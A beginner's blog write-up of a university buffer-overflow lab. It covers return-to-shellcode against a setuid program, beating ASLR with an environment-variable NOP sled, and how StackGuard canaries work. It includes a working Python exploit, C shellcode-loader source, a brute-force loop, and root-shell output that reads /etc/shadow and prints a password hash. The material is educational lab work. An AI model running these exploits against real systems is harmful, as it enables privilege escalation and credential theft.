Writeup for beginners - BoF Vulnerability Lab (Syracuse University)

Visitors sometimes feel bored with our web blog because of too many boring stuffs which not often appear in their casual work/study. I just want to post such a simple tutorial for beginners and if you are experienced in CTF's pwn then just skip it. Enjoy!

Reference: BoF Vulnerability Lab (Syracuse University)

Return to Shellcode
===================

The program stack.c has 2 functions: main() and bof() which has a buffer overflow vulnerability. Main function reads an input from a file called “badfile”, and then passes this value to function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 24 bytes long. Buffer overflow will occur because strcpy() does not check boundaries. Since this program is super-uid executable, if a normal user can exploit this buffer overflow vulnerability, any user might be able to execute shellcode under root privilege. It should be considered that the program gets its input from a file called ’badfile’, system environment variables and argument variables. They are under our control hence there are many approaches to spawn a root shell.
Some conditions in the first task are described as following:

- The vulnerable program was compiled with chmod 4755 under
root permission.

- It was built with options: execstack and -fno-stack-protector to
turn off the non-executable stack and StackGuard protections.

- ASLR was turned off.

Inside the function bof(), the buffer variable is defined as an array of 24 chars. It can be easily overflowed with a longer string str which reads from “badfile”. However, the defined variable on stack depends along both operating system and the compiler. Result of GDB will help us to make sure the size of stack certainly:
(gdb) disas bof
Dump of assembler code for function bof:

0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x38
0x0804848a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804848d <+9>: mov DWORD PTR [esp+0x4],eax
0x08048491 <+13>: lea eax,[ebp-0x20]
0x08048494 <+16>: mov DWORD PTR [esp],eax
0x08048497 <+19>: call 0x8048380 <strcpy@plt>
0x0804849c <+24>: mov eax,0x1
0x080484a1 <+29>: leave
0x080484a2 <+30>: ret

 

The buffer variable’s size is 32 bytes according to line 13 and also 32 bytes to reach Stack pointer and plus 4 bytes to reach saved Based pointer. In order to spawn a shell, execve /bin/sh shellcode was generated and placed into badfile after some NOPs (\\x90) . The return address is unknown and also it is a difference between GDB environment and the real-time one. It can be revealed by using:

- Live program tracing (strace/ltrace).

- Modifying the source code.

- Brute-forcing the return address.

- GDB debugging with dumped core (segmentation fault).

We chose the first solution because the second one is unrealistic, the third and fourth one would take much effort.

seed@ubuntu:~/Desktop$ ltrace ./stack
__libc_start_main(0x80484a3, 1, 0xbffff434, 0x8048520, 0x8048590 <unfinished ...>
fopen("badfile", "r") = 0x804b008
fread(0xbffff187, 1, 517, 0x804b008) = 40
----snippet----

The buffer variable which reads from badfile has address: 0xbffff187. In sum, we construct a payload combined from NOPs, shellcode, ESP (or a random 4bytes), return address 0xbffff187 in little-endian format to an exploitation program called exploit.py which writes the payload to “badfile”:

 

import struct
shellcode= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
f = open('badfile','w')
ret = struct.pack('<I', 0xbffff187)
f.write("\x90"*(0x20-len(shellcode))+shellcode+"DEAD"+ret)

 

We launch the attack by running the vulnerable program and spawn a root shell successfully.

[12/01/2015 15:25] seed@ubuntu:~/Desktop$ python exploit.py
[12/01/2015 15:25] seed@ubuntu:~/Desktop$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)
# cat /etc/shadow
root:$6$012BPz.K$fbPkT6H6Db4/B8cLWbQI1cFjn0R25yqtqrSrFeWfCgybQWWnwR4ks/.rjqyM7Xwh/pDyc5U1BWOzkWh7T9ZGu.:15933:0:99999:7:::

 

Address Randomization
=====================

There are some conditions in the second task as following:

- The vulnerable program was compiled with chmod 4755 under root permission.

- It was built with options: execstack and -fno-stack-protector to turn off the non-executable stack and StackGuard protections.

- ASLR was turned on.

The above exploitation program was not working and resulted “Segmentation fault (core dumped)” because ASLR was turned on that
assures the program addresses are changed randomly for each execution. There are some techniques to bypass this prevention:

- Brute-forcing or running the exploitation program many times

- Return-oriented programming (or using a branch of this technique: ret2libc)

However the “badfile” input can have a maximum length of only 517 bytes but the observed buffer could be any addresses ranged from 0xbf000000 to 0xbfffffff. It makes the attack difficult to jump into the shellcode exactly even when we fill the whole “str” variable upto 517 bytes with a larger number of NOPs and shellcode placed behind the return address. In order to increase the probability of success, we can utilize an environment variable to hold a larger payload. The following code loads ten thousand bytes of NOPs and shellcode into environment variable EGG.

/* eggcode.c */
#include <unistd.h>
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";
int main(void)
{
char shell[10000];
puts("Eggshell loaded into environment.\n");
memset(shell,NOP,10000); /* fill-up the buffer with NOP */
/* fill-up the shellcode on the second half to the end of buffer */
memcpy(&shell[10000-strlen(shellcode)],shellcode,strlen(shellcode));
/* set the environment variable to */
/* EGG and shell as its value, rewrite if needed */
setenv("EGG", shell, 1);
/* modify the variable */
putenv(shell);
/* invoke the bash */
system("bash");
return 0;
}

 

We simply executed the program above then attempted ./stack in the following loop and spawn a root shell in just a minute.

$ sh -c "while [ 1 ]; do ./stack; done;"
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
---snippet---
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)

 

Stack Guard
===========

The following options describe the conditions of third task:

- The vulnerable program was compiled with chmod 4755 under root permission.

- It was built without the option -fno-stack-protector to turn on the Stack Guard.

- ASLR was turned off.

For this task, we executed the exploitation program again and observed an error message:

seed@ubuntu:~/Desktop$ ./stack
*** stack smashing detected ***: ./stack terminated
Segmentation fault (core dumped)

 

The reason of this error is a protection mechanism used by compiler to detect buffer overflow occurs. It adds random protection variables (called canaries or stack cookies) to the stack. We can get some information about the point of overflow insight by running the program in GDB. For instance, the disassembly of bof() function is different from the previous one:

(gdb) disas bof
Dump of assembler code for function bof:
0x080484d4 <+0>: push ebp
0x080484d5 <+1>: mov ebp,esp
0x080484d7 <+3>: sub esp,0x48
0x080484da <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080484dd <+9>: mov DWORD PTR [ebp-0x2c],eax
0x080484e0 <+12>: mov eax,gs:0x14
0x080484e6 <+18>: mov DWORD PTR [ebp-0xc],eax
0x080484e9 <+21>: xor eax,eax
0x080484eb <+23>: mov eax,DWORD PTR [ebp-0x2c]
0x080484ee <+26>: mov DWORD PTR [esp+0x4],eax
0x080484f2 <+30>: lea eax,[ebp-0x24]
0x080484f5 <+33>: mov DWORD PTR [esp],eax
0x080484f8 <+36>: call 0x80483d0 <strcpy@plt>
0x080484fd <+41>: mov eax,0x1
0x08048502 <+46>: mov edx,DWORD PTR [ebp-0xc]
0x08048505 <+49>: xor edx,DWORD PTR gs:0x14
0x0804850c <+56>: je 0x8048513 <bof+63>
0x0804850e <+58>: call 0x80483b0 <__stack_chk_fail@plt>
0x08048513 <+63>: leave
0x08048514 <+64>: ret
End of assembler dump.

 

The compiler firstly moves a random value to stack at address , and compares these 2 values by using XOR in the end of this
function. If the value in stack is modified then the program will jump to the function stackchkfail() which notifies an error message “stack smashing detected” eventually. This means if our program overwrites the whole stack and tries to illegally control the stack pointers will make it halted. There are some techniques to bypass the Stack Guard : leak the value of canaries or overwrite the entire stack all the way up to the arguments and environment vectors but the stack cookie check would not working properly. Moreover please take a look at this paper.

 

-cmxd

One thought on “Writeup for beginners - BoF Vulnerability Lab (Syracuse University)

  1. In the first example, if you don't put the NOPs before the shellcode (for instance if you write the shellcode and then the NOPs) the exploit does not work. Can you explain why are the NOPs required in that place?

Comments are closed.